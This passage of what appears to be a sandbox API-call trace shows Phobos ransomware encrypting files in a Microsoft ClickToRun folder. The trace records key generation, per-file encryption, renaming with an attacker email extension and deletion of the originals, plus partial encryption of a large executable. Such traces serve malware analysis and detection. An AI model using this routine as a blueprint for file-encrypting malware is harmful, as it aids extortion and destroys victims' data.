(hKey=0x1d1a90, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0165.001] ReadFile (in: hFile=0x2e0, lpBuffer=0x30c1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f9ec, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesRead=0x2d1f9ec*=0x68c0, lpOverlapped=0x0) returned 1 [0165.018] CryptEncrypt (in: hKey=0x1d1a90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x68d0, dwBufLen=0x68d0 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x68d0) returned 1 [0165.018] WriteFile (in: hFile=0x2dc, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x68d0, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x68d0, lpOverlapped=0x0) returned 1 [0165.019] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f95c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c8 | out: phKey=0x2d1f9c8*=0x1d1b90) returned 1 [0165.019] CryptSetKeyParam (hKey=0x1d1b90, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0165.019] CryptEncrypt (in: hKey=0x1d1b90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x70, dwBufLen=0x70 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x70) returned 1 [0165.019] CryptDestroyKey (hKey=0x1d1b90) returned 1 [0165.019] WriteFile (in: hFile=0x2dc, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x122, lpOverlapped=0x0) returned 1 [0165.020] CryptDestroyKey (hKey=0x1d1a90) returned 1 [0165.020] CloseHandle (hObject=0x2e0) returned 1 [0165.020] CloseHandle (hObject=0x2dc) returned 1 [0165.443] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll")) returned 1 [0165.445] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0165.445] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0165.446] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=70848) returned 1 [0165.446] CloseHandle (hObject=0x2dc) returned 1 [0165.446] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll")) returned 0x20 [0165.446] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0165.446] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0165.446] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0165.446] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0165.446] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0165.447] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f968, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c4 | out: phKey=0x2d1f9c4*=0x1d15d0) returned 1 [0165.447] CryptSetKeyParam (hKey=0x1d15d0, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0165.447] ReadFile (in: hFile=0x2dc, lpBuffer=0x30c1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f9ec, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesRead=0x2d1f9ec*=0x114c0, lpOverlapped=0x0) returned 1 [0165.624] CryptEncrypt (in: hKey=0x1d15d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x114d0, dwBufLen=0x114d0 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x114d0) returned 1 [0165.624] WriteFile (in: hFile=0x2ec, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x114d0, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x114d0, lpOverlapped=0x0) returned 1 [0165.626] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f95c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c8 | out: phKey=0x2d1f9c8*=0x1d1550) returned 1 [0165.626] CryptSetKeyParam (hKey=0x1d1550, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0165.626] CryptEncrypt (in: hKey=0x1d1550, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x70, dwBufLen=0x70 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x70) returned 1 [0165.626] CryptDestroyKey (hKey=0x1d1550) returned 1 [0165.626] WriteFile (in: hFile=0x2ec, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x122, lpOverlapped=0x0) returned 1 [0165.626] CryptDestroyKey (hKey=0x1d15d0) returned 1 [0165.626] CloseHandle (hObject=0x2dc) returned 1 [0165.627] CloseHandle (hObject=0x2ec) returned 1 [0165.629] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll")) returned 1 [0165.632] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0165.632] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0165.633] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=23232) returned 1 [0165.633] CloseHandle (hObject=0x2ec) returned 1 [0165.633] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll")) returned 0x20 [0165.633] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0165.633] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0165.633] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0165.633] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0165.634] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0165.634] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f968, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c4 | out: phKey=0x2d1f9c4*=0x1d19d0) returned 1 [0165.634] CryptSetKeyParam (hKey=0x1d19d0, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0165.634] ReadFile (in: hFile=0x2ec, lpBuffer=0x30c1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f9ec, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesRead=0x2d1f9ec*=0x5ac0, lpOverlapped=0x0) returned 1 [0165.751] CryptEncrypt (in: hKey=0x1d19d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x5ad0, dwBufLen=0x5ad0 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x5ad0) returned 1 [0165.751] WriteFile (in: hFile=0x2dc, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x5ad0, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x5ad0, lpOverlapped=0x0) returned 1 [0165.753] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f95c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c8 | out: phKey=0x2d1f9c8*=0x1d15d0) returned 1 [0165.753] CryptSetKeyParam (hKey=0x1d15d0, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0165.753] CryptEncrypt (in: hKey=0x1d15d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x70, dwBufLen=0x70 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x70) returned 1 [0165.753] CryptDestroyKey (hKey=0x1d15d0) returned 1 [0165.753] WriteFile (in: hFile=0x2dc, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x122, lpOverlapped=0x0) returned 1 [0165.753] CryptDestroyKey (hKey=0x1d19d0) returned 1 [0165.753] CloseHandle (hObject=0x2ec) returned 1 [0165.753] CloseHandle (hObject=0x2dc) returned 1 [0165.756] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll")) returned 1 [0165.758] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0165.758] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0165.759] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=21184) returned 1 [0165.759] CloseHandle (hObject=0x2dc) returned 1 [0165.759] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll")) returned 0x20 [0165.759] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0165.759] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0165.759] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0165.759] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0165.759] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0165.760] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f968, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c4 | out: phKey=0x2d1f9c4*=0x1d15d0) returned 1 [0165.760] CryptSetKeyParam (hKey=0x1d15d0, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0165.760] ReadFile (in: hFile=0x2dc, lpBuffer=0x30c1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f9ec, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesRead=0x2d1f9ec*=0x52c0, lpOverlapped=0x0) returned 1 [0165.788] CryptEncrypt (in: hKey=0x1d15d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x52d0, dwBufLen=0x52d0 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x52d0) returned 1 [0165.788] WriteFile (in: hFile=0x2ec, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x52d0, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x52d0, lpOverlapped=0x0) returned 1 [0165.790] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f95c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c8 | out: phKey=0x2d1f9c8*=0x1d1550) returned 1 [0165.790] CryptSetKeyParam (hKey=0x1d1550, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0165.790] CryptEncrypt (in: hKey=0x1d1550, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x60, dwBufLen=0x60 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x60) returned 1 [0165.790] CryptDestroyKey (hKey=0x1d1550) returned 1 [0165.790] WriteFile (in: hFile=0x2ec, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x112, lpOverlapped=0x0) returned 1 [0165.790] CryptDestroyKey (hKey=0x1d15d0) returned 1 [0165.790] CloseHandle (hObject=0x2dc) returned 1 [0165.790] CloseHandle (hObject=0x2ec) returned 1 [0165.791] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll")) returned 1 [0165.792] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0165.792] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0165.793] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=162880) returned 1 [0165.793] CloseHandle (hObject=0x2ec) returned 1 [0165.793] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll")) returned 0x20 [0165.793] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0165.793] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.793] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0165.793] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0165.794] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=656088) returned 1 [0165.794] CloseHandle (hObject=0x2ec) returned 1 [0165.794] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll")) returned 0x20 [0165.794] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0165.794] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.794] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0165.794] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0165.794] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=2054872) returned 1 [0165.795] CloseHandle (hObject=0x2ec) returned 1 [0165.795] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe")) returned 0x20 [0165.795] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 1 [0165.796] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0165.796] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f980 | out: lpNewFilePointer=0x0) returned 1 [0165.796] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f980 | out: lpNewFilePointer=0x0) returned 1 [0165.796] ReadFile (in: hFile=0x2ec, lpBuffer=0x30c1058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d1f98c, lpOverlapped=0x0 | out: lpBuffer=0x30c1058*, lpNumberOfBytesRead=0x2d1f98c*=0x40000, lpOverlapped=0x0) returned 1 [0165.849] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xa739d, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f980 | out: lpNewFilePointer=0x0) returned 1 [0165.849] ReadFile (in: hFile=0x2ec, lpBuffer=0x3101058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d1f98c, lpOverlapped=0x0 | out: lpBuffer=0x3101058*, lpNumberOfBytesRead=0x2d1f98c*=0x40000, lpOverlapped=0x0) returned 1 [0165.873] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x1b5ad8, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f980 | out: lpNewFilePointer=0x0) returned 1 [0165.873] ReadFile (in: hFile=0x2ec, lpBuffer=0x3141058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d1f98c, lpOverlapped=0x0 | out: lpBuffer=0x3141058*, lpNumberOfBytesRead=0x2d1f98c*=0x40000, lpOverlapped=0x0) returned 1 [0166.120] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f970, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9dc | out: phKey=0x2d1f9dc*=0x1d19d0) returned 1 [0166.120] CryptSetKeyParam (hKey=0x1d19d0, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0166.120] CryptEncrypt (in: hKey=0x1d19d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f990*=0xc0060, dwBufLen=0xc0060 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f990*=0xc0060) returned 1 [0166.121] CryptDestroyKey (hKey=0x1d19d0) returned 1 [0166.121] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b8 | out: lpNewFilePointer=0x0) returned 1 [0166.122] WriteFile (in: hFile=0x2ec, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x2d1f9c8, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9c8*=0xc0112, lpOverlapped=0x0) returned 1 [0166.174] SetEndOfFile (hFile=0x2ec) returned 1 [0166.300] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x1b5ad8, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f988 | out: lpNewFilePointer=0x0) returned 1 [0166.300] WriteFile (in: hFile=0x2ec, lpBuffer=0x318114a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d1f994, lpOverlapped=0x0 | out: lpBuffer=0x318114a*, lpNumberOfBytesWritten=0x2d1f994*=0x40000, lpOverlapped=0x0) returned 1 [0166.303] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xa739d, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f988 | out: lpNewFilePointer=0x0) returned 1 [0166.303] WriteFile (in: hFile=0x2ec, lpBuffer=0x318114a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d1f994, lpOverlapped=0x0 | out: lpBuffer=0x318114a*, lpNumberOfBytesWritten=0x2d1f994*=0x40000, lpOverlapped=0x0) returned 1 [0166.305] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f988 | out: lpNewFilePointer=0x0) returned 1 [0166.305] WriteFile (in: hFile=0x2ec, lpBuffer=0x318114a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d1f994, lpOverlapped=0x0 | out: lpBuffer=0x318114a*, lpNumberOfBytesWritten=0x2d1f994*=0x40000, lpOverlapped=0x0) returned 1 [0166.307] CloseHandle (hObject=0x2ec) returned 1 [0166.307] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0166.307] CreateFileW 